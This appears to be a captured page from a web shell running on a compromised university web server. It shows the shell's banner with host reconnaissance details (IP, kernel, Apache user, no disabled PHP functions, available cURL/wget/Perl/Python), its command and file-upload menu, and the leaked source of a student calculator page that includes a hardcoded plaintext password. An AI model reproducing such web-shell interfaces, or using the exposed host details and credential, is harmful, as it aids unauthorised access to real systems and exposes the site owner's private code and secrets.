Server IP : 172.16.15.8 / Your IP : 3.133.144.147 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/asbright/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <!-- calcForm.php --> <?php if($_SESSION['psw'] == NULL) { $pass = $_POST['pass']; $_SESSION['psw'] = $pass; } else $pass = $_SESSION['psw']; if($pass != "hw2d") { ?> <script type="text/javascript"> <!-- window.location = "calcLogin.php" --> </script> <html> <head> <title>Error Page</title> <center> <p style="font-size:200%">Invalid Password</p> </center> </head> <?php include("navbar.php"); ?> <center> <br><br><br><br> <button><a href="calcLogin.php">Go back</a></button> </center> </html> <?php } else { ?> <!doctype html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="styling.css"> <title>Calculator Form</title> <div style="text-align:center"> <h1> Calculator </h1> </div> </head> <?php include("navbar.php"); ?> <body> <center> <form action=calc.php method=post> <fieldset> <legend> Numbers </legend> <div> <div style="padding-left: 24px"> <p> First Number: <input type=number name=num1> </p> </div> <p> Second Number: <input type=number name=num2> </p> </div> </fieldset> <fieldset> <legend> Operations </legend> <div> <input class="radio" type=radio id="OPADD" name=OP value=add checked><label for="OPADD">Add</label> <br/> <div style="padding-left: 22px"> <input class="radio" type=radio id="OPSUB" name=OP value=sub><label for="OPSUB">Subtract</label> </div> <div style="padding-left: 25px"> <input class="radio" type=radio id="OPMULT" name=OP value=mult><label for="OPMULT">Multiply</label> </div> <div style="padding-left: 12px"> <input class="radio" type=radio id="OPDIV" name=OP value=div><label for="OPDIV">Divide</label> </div> <div style="padding-left: 26px"> <input class="radio" type=radio id="OPMOD" name=OP value=mod><label for="OPMOD">Modulus</label> </div> <div style="padding-left: 10px"> <input class="radio" type=radio id="OPPOW" name=OP value=pow><label for="OPPOW">Power</label> </div> </div> </fieldset> <br/><br/> <input type=submit value="Submit Form"> <input type=reset value="Reset Form"> </form> </center> </body> </html> <?php } ?>